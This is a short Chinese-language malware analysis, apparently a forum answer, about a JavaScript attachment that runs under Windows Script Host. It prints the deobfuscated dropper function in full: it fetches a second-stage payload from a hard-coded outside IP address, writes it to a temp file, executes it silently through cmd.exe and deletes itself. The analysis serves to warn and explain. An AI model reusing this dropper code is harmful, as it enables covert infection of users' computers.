它肯定是恶意软件。它使用带有 ActiveX ^*和 VBScript 的 JavaScript 来下载和执行第二阶段的有效负载，该有效负载执行其他操作。虽然它是用 JavaScript 编写的，但它不会在浏览器中执行。相反，它在双击时在 Windows 脚本宿主中执行。这是文件中函数的去混淆和删节版本zQlMdib：

// download and execute stage 2 payload
function stage1_payload() {
    // connect to server hosting stage 2 payload and download into memory
    var http_obj = new ActiveXObject("MSXML2.XMLHTTP");
    http_obj['open']("GET", "http://94.102.63.7/macbook_tutorial.mov", false);
    http_obj['send']();

    // evaluates true only if http connection succeeded
    if (http_obj['Status'] == 200) {
        // open activex objects for filesystem and file access
        var fs_obj = new ActiveXObject("Scripting.FileSystemObject");
        var file_obj = new ActiveXObject("ADODB.Stream");

        // create and open temporary file (as binary) in system temporary folder
        var temp_file = fs_obj['GetSpecialFolder'](2) + '\' + fs_obj['GetTempName']();
        file_obj['Open']();
        file_obj['Type'] = 1;

        // save response body containing stage 2 payload to temporary file
        file_obj['Write'](http_obj['ResponseBody']);
        file_obj['Position'] = 0;
        file_obj['SaveToFile'](temp_file);
        file_obj['Close']();

        // execute temporary file using command prompt
        var shell_obj = new ActiveXObject("WScript.Shell");
        shell_obj['run']('cmd.exe /c ' + temp_file, 0);
    }

    // delete currently-executing script (the js file you received)
    var script_name = WScript['ScriptFullName'];
    fs_obj['deleteFile'](script_name);
}

_{* 即使您的浏览器不支持 ActiveX，此文件也会在支持它的 Windows 脚本宿主中执行。}

是的，它看起来像一个恶意代码。在浏览器的上下文中不允许使用这种类型的代码。此外，代码或多或少与Microsoft Internet Explorer 和Microsoft Windows 操作系统兼容，因为其他浏览器不支持Microsoft 的ActiveX 技术。
